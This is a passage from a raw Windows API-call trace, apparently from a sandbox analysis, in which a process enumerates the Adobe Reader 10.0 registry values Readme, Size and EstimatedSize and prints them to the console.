pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x68) returned 0x0 [0150.350] GetProcessHeap () returned 0x3c0000 [0150.350] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6a) returned 0x3db830 [0150.350] GetProcessHeap () returned 0x3c0000 [0150.350] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.350] GetProcessHeap () returned 0x3c0000 [0150.351] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6a [0150.351] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x68 | out: pdwType=0x29f700*=0x2, pvData="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Readme.htm", pcbData=0x29f780*=0x68) returned 0x0 [0150.351] __iob_func () returned 0x7fefd702a80 [0150.351] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.351] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.351] _fileno (_File=0x7fefd702ab0) returned 1 [0150.351] _errno () returned 0x204bb0 [0150.351] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.351] _errno () returned 0x204bb0 [0150.351] GetFileType (hFile=0x50) returned 0x1 [0150.351] lstrlenW (lpString=" ") returned 4 [0150.351] GetConsoleOutputCP () returned 0x1b5 [0150.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.351] GetConsoleOutputCP () returned 0x1b5 [0150.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.351] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.351] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.351] lstrlenW (lpString="Readme") returned 6 [0150.351] __iob_func () returned 0x7fefd702a80 [0150.351] _fileno (_File=0x7fefd702ab0) returned 1 [0150.351] _errno () returned 0x204bb0 [0150.351] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.351] _errno () returned 0x204bb0 [0150.351] GetFileType (hFile=0x50) returned 0x1 [0150.351] lstrlenW (lpString="Readme") returned 6 [0150.351] GetConsoleOutputCP () returned 0x1b5 [0150.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.352] GetConsoleOutputCP () returned 0x1b5 [0150.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0150.352] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.352] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.352] __iob_func () returned 0x7fefd702a80 [0150.352] _fileno (_File=0x7fefd702ab0) returned 1 [0150.352] _errno () returned 0x204bb0 [0150.352] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.352] _errno () returned 0x204bb0 [0150.352] GetFileType (hFile=0x50) returned 0x1 [0150.352] lstrlenW (lpString=" ") returned 4 [0150.352] GetConsoleOutputCP () returned 0x1b5 [0150.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.352] GetConsoleOutputCP () returned 0x1b5 [0150.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.352] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.352] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.352] __iob_func () returned 0x7fefd702a80 [0150.353] _fileno (_File=0x7fefd702ab0) returned 1 [0150.353] _errno () returned 0x204bb0 [0150.353] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.353] _errno () returned 0x204bb0 [0150.353] GetFileType (hFile=0x50) returned 0x1 [0150.353] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.353] GetConsoleOutputCP () returned 0x1b5 [0150.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.353] GetConsoleOutputCP () returned 0x1b5 [0150.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.353] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.353] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.353] __iob_func () returned 0x7fefd702a80 [0150.353] _fileno (_File=0x7fefd702ab0) returned 1 [0150.353] _errno () returned 0x204bb0 [0150.353] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.353] _errno () returned 0x204bb0 [0150.353] GetFileType (hFile=0x50) returned 0x1 [0150.353] lstrlenW (lpString=" ") returned 4 [0150.353] GetConsoleOutputCP () returned 0x1b5 [0150.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.353] GetConsoleOutputCP () returned 0x1b5 [0150.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.354] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.354] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.354] __iob_func () returned 0x7fefd702a80 [0150.354] _fileno (_File=0x7fefd702ab0) returned 1 [0150.354] _errno () returned 0x204bb0 [0150.354] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.354] _errno () returned 0x204bb0 [0150.354] GetFileType (hFile=0x50) returned 0x1 [0150.354] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Readme.htm") returned 51 [0150.354] GetConsoleOutputCP () returned 0x1b5 [0150.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Readme.htm", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0150.354] GetConsoleOutputCP () returned 0x1b5 [0150.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Readme.htm", cchWideChar=51, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Readme.htm", lpUsedDefaultChar=0x0) returned 51 [0150.354] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 51 [0150.354] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.354] __iob_func () returned 0x7fefd702a80 [0150.354] _fileno (_File=0x7fefd702ab0) returned 1 [0150.354] _errno () returned 0x204bb0 [0150.354] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.354] _errno () returned 0x204bb0 [0150.354] GetFileType (hFile=0x50) returned 0x1 [0150.354] lstrlenW (lpString="\n") returned 1 [0150.354] GetConsoleOutputCP () returned 0x1b5 [0150.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.355] GetConsoleOutputCP () returned 0x1b5 [0150.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.355] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.355] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.355] GetProcessHeap () returned 0x3c0000 [0150.355] GetProcessHeap () returned 0x3c0000 [0150.355] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.355] GetProcessHeap () returned 0x3c0000 [0150.355] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6a [0150.355] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.355] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.355] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.355] GetProcessHeap () returned 0x3c0000 [0150.355] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.355] GetProcessHeap () returned 0x3c0000 [0150.355] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.355] GetProcessHeap () returned 0x3c0000 [0150.355] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.355] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.355] __iob_func () returned 0x7fefd702a80 [0150.355] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.355] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.355] _fileno (_File=0x7fefd702ab0) returned 1 [0150.355] _errno () returned 0x204bb0 [0150.355] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.355] _errno () returned 0x204bb0 [0150.356] GetFileType (hFile=0x50) returned 0x1 [0150.356] lstrlenW (lpString=" ") returned 4 [0150.356] GetConsoleOutputCP () returned 0x1b5 [0150.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.356] GetConsoleOutputCP () returned 0x1b5 [0150.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.356] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.356] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.356] lstrlenW (lpString="Size") returned 4 [0150.356] __iob_func () returned 0x7fefd702a80 [0150.356] _fileno (_File=0x7fefd702ab0) returned 1 [0150.356] _errno () returned 0x204bb0 [0150.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.356] _errno () returned 0x204bb0 [0150.356] GetFileType (hFile=0x50) returned 0x1 [0150.356] lstrlenW (lpString="Size") returned 4 [0150.356] GetConsoleOutputCP () returned 0x1b5 [0150.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.356] GetConsoleOutputCP () returned 0x1b5 [0150.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0150.357] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.357] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.357] __iob_func () returned 0x7fefd702a80 [0150.357] _fileno (_File=0x7fefd702ab0) returned 1 [0150.357] _errno () returned 0x204bb0 [0150.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.357] _errno () returned 0x204bb0 [0150.357] GetFileType (hFile=0x50) returned 0x1 [0150.357] lstrlenW (lpString=" ") returned 4 [0150.357] GetConsoleOutputCP () returned 0x1b5 [0150.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.357] GetConsoleOutputCP () returned 0x1b5 [0150.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.357] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.357] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.357] __iob_func () returned 0x7fefd702a80 [0150.357] _fileno (_File=0x7fefd702ab0) returned 1 [0150.357] _errno () returned 0x204bb0 [0150.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.357] _errno () returned 0x204bb0 [0150.357] GetFileType (hFile=0x50) returned 0x1 [0150.357] lstrlenW (lpString="REG_SZ") returned 6 [0150.357] GetConsoleOutputCP () returned 0x1b5 [0150.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.358] GetConsoleOutputCP () returned 0x1b5 [0150.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.358] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.358] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.358] __iob_func () returned 0x7fefd702a80 [0150.358] _fileno (_File=0x7fefd702ab0) returned 1 [0150.358] _errno () returned 0x204bb0 [0150.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.358] _errno () returned 0x204bb0 [0150.358] GetFileType (hFile=0x50) returned 0x1 [0150.358] lstrlenW (lpString=" ") returned 4 [0150.358] GetConsoleOutputCP () returned 0x1b5 [0150.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.358] GetConsoleOutputCP () returned 0x1b5 [0150.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.358] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.358] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.358] __iob_func () returned 0x7fefd702a80 [0150.358] _fileno (_File=0x7fefd702ab0) returned 1 [0150.358] _errno () returned 0x204bb0 [0150.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.359] _errno () returned 0x204bb0 [0150.359] GetFileType (hFile=0x50) returned 0x1 [0150.359] lstrlenW (lpString="") returned 0 [0150.359] __iob_func () returned 0x7fefd702a80 [0150.359] _fileno (_File=0x7fefd702ab0) returned 1 [0150.359] _errno () returned 0x204bb0 [0150.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.359] _errno () returned 0x204bb0 [0150.359] GetFileType (hFile=0x50) returned 0x1 [0150.359] lstrlenW (lpString="\n") returned 1 [0150.359] GetConsoleOutputCP () returned 0x1b5 [0150.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.359] GetConsoleOutputCP () returned 0x1b5 [0150.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.359] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.359] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.359] GetProcessHeap () returned 0x3c0000 [0150.359] GetProcessHeap () returned 0x3c0000 [0150.359] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.359] GetProcessHeap () returned 0x3c0000 [0150.359] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.359] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.359] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.359] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.359] GetProcessHeap () returned 0x3c0000 [0150.359] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.360] GetProcessHeap () returned 0x3c0000 [0150.360] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.360] GetProcessHeap () returned 0x3c0000 [0150.360] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.360] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x75ad2, pcbData=0x29f780*=0x4) returned 0x0 [0150.360] __iob_func () returned 0x7fefd702a80 [0150.360] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.360] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.360] _fileno (_File=0x7fefd702ab0) returned 1 [0150.360] _errno () returned 0x204bb0 [0150.360] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.360] _errno () returned 0x204bb0 [0150.360] GetFileType (hFile=0x50) returned 0x1 [0150.360] lstrlenW (lpString=" ") returned 4 [0150.360] GetConsoleOutputCP () returned 0x1b5 [0150.360] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.360] GetConsoleOutputCP () returned 0x1b5 [0150.360] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.360] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.360] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.361] lstrlenW (lpString="EstimatedSize") returned 13 [0150.361] __iob_func () returned 0x7fefd702a80 [0150.361] _fileno (_File=0x7fefd702ab0) returned 1 [0150.361] _errno () returned 0x204bb0 [0150.361] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.361] _errno () returned 0x204bb0 [0150.361] GetFileType (hFile=0x50) returned 0x1 [0150.361] lstrlenW (lpString="EstimatedSize") returned 13 [0150.361] GetConsoleOutputCP () returned 0x1b5 [0150.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.361] GetConsoleOutputCP () returned 0x1b5 [0150.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0150.361] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.361] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.361] __iob_func () returned 0x7fefd702a80 [0150.361] _fileno (_File=0x7fefd702ab0) returned 1 [0150.361] _errno () returned 0x204bb0 [0150.361] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.361] _errno () returned 0x204bb0 [0150.361] GetFileType (hFile=0x50) returned 0x1 [0150.361] lstrlenW (lpString=" ") returned 4 [0150.361] GetConsoleOutputCP () returned 0x1b5 [0150.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.361] GetConsoleOutputCP () returned 0x1b5 [0150.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.362] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.362] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.362] __iob_func () returned 0x7fefd702a80 [0150.362] _fileno (_File=0x7fefd702ab0) returned 1 [0150.362] _errno () returned 0x204bb0 [0150.362] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.362] _errno () returned 0x204bb0 [0150.362] GetFileType (hFile=0x50) returned 0x1 [0150.362] lstrlenW (lpString="REG_DWORD") returned 9 [0150.362] GetConsoleOutputCP () returned 0x1b5 [0150.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.362] GetConsoleOutputCP () returned 0x1b5 [0150.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.362] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.362] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.362] __iob_func () returned 0x7fefd702a80 [0150.362] _fileno (_File=0x7fefd702ab0) returned 1 [0150.362] _errno () returned 0x204bb0 [0150.362] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.362] _errno () returned 0x204bb0 [0150.362] GetFileType (hFile=0x50) returned 0x1 [0150.362] lstrlenW (lpString=" ") returned 4 [0150.363] GetConsoleOutputCP () returned 0x1b5 [0150.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.363] GetConsoleOutputCP () returned 0x1b5 [0150.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.363] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.363] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.363] __iob_func () returned 0x7fefd702a80 [0150.363] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.363] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x75ad2") returned 7 [0150.363] _fileno 